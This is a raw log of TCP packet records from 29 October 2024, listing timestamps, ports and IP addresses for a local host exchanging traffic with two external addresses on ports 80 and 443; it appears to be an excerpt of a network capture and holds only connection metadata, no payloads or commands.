Oct 29, 2024 17:59:14.541836977 CET	443	49735	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.543881893 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.543905020 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.543975115 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.544065952 CET	49740	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.544080019 CET	443	49740	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.575593948 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.575639009 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.575681925 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.575706959 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.575746059 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.575800896 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.575823069 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.575829029 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.575882912 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.576324940 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.576348066 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.576358080 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.576368093 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.576395988 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.576673031 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.576688051 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.576704979 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.576716900 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.576755047 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.577459097 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.577491045 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.577507019 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.577517033 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.577557087 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.578279018 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.578322887 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.581274986 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.581654072 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.581705093 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.581747055 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.581767082 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.581795931 CET	49736	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.581801891 CET	443	49736	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.584676981 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.584701061 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.584752083 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.584943056 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.584954023 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.624711037 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.625045061 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.625080109 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.625442982 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.625458956 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.898996115 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899044037 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899163008 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899171114 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899199963 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899235964 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899270058 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899275064 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899275064 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899275064 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899303913 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899331093 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899353027 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899357080 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899389982 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899425030 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899426937 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899426937 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899475098 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899508953 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899540901 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899557114 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899557114 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899557114 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899591923 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899620056 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.899668932 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899668932 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.899668932 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.900044918 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.900118113 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.900182009 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.900314093 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.900357008 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.900387049 CET	49737	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.900418043 CET	443	49737	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.900614023 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.900676012 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.900747061 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.900783062 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.900819063 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.900851011 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.900862932 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.900862932 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.900862932 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.900885105 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.900918007 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.900937080 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.900937080 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.900952101 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.900966883 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.900985003 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.901019096 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.901026964 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.901026964 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.901055098 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.901068926 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.901123047 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.903146029 CET	49742	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.903192043 CET	443	49742	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.903214931 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.903250933 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.903263092 CET	49742	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.903286934 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.903302908 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.903302908 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.903340101 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.903399944 CET	49742	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:14.903409958 CET	443	49742	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:14.968883991 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.968946934 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.968977928 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.968982935 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.969032049 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.969055891 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.969055891 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.969069004 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.969086885 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.969105005 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.969119072 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.969180107 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.969614029 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.969695091 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.969727993 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.969762087 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.969774008 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.969774008 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.969774008 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.969819069 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:14.969947100 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:14.970010996 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.010214090 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.010236979 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.010252953 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.010268927 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.010504961 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.010504961 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.086199999 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.086221933 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.086236954 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.086251974 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.086268902 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.086431980 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.086431980 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.086622953 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.086638927 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.086654902 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.086668015 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.086729050 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.086729050 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.127475977 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.127521992 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.127538919 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.127554893 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.127572060 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.127585888 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.127585888 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.127585888 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.127787113 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.127832890 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.127880096 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.127881050 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.127881050 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.203253984 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.203299046 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.203334093 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.203366041 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.203377008 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.203413963 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.203440905 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.203453064 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.203521013 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.203521013 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.203593969 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.203624964 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.203654051 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.203670025 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.203794956 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.203830957 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.203855991 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.203866959 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.203927994 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.203972101 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.203972101 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.203972101 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.231900930 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.232752085 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.232774973 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.237096071 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.237102985 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.244461060 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.244522095 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.244529963 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.244554996 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.244563103 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.244597912 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.244606972 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.244615078 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.244695902 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.244695902 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.245079994 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.245095968 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.245114088 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.245145082 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.245145082 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.245193005 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.279081106 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.282763958 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.282790899 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.291565895 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.291572094 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.320281982 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.320311069 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.320326090 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.320393085 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.320429087 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.320429087 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.320429087 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.320462942 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.320508003 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.320611954 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.320625067 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.320723057 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.320723057 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.321068048 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.321126938 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.321141005 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.321156025 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.321183920 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.321183920 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.321183920 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.321310997 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.321605921 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.321618080 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.321656942 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.321691990 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.351581097 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.361601114 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.361660004 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.361669064 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.361679077 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.361694098 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.361753941 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.361753941 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.362176895 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.362210035 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.362215042 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.362215042 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.362224102 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.362719059 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.362719059 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.362905025 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.363117933 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.363164902 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.394668102 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.394699097 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.395296097 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.395302057 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.395807981 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.395829916 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.395843983 CET	49738	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.395849943 CET	443	49738	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.399889946 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.399916887 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.399981022 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.400137901 CET	49743	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.400146961 CET	443	49743	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.417706013 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.418229103 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.418353081 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.434206009 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.434226036 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.434240103 CET	49739	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.434247971 CET	443	49739	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.437640905 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.437676907 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.437693119 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.437709093 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.437726021 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.437787056 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.437787056 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.437787056 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.438025951 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.438036919 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.438043118 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.438174963 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.478849888 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.478868008 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.478890896 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.478921890 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.478976011 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.478991032 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.479006052 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.479022980 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.479063988 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.479083061 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.479381084 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.479481936 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.479600906 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.479643106 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.479643106 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.479643106 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.479651928 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.479676008 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.479691029 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.479737043 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.479737043 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.479737043 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.532916069 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.533005953 CET	443	49741	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:15.533085108 CET	49741	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:15.555304050 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.555330038 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.555346012 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.555421114 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.555421114 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.555445910 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.555459976 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.555475950 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.555495977 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.555569887 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.555605888 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.555619955 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.555681944 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.555681944 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.595954895 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.595972061 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.595988035 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:15.596034050 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.596085072 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:15.596141100 CET	80	49722	185.215.113.206	192.168.2.6
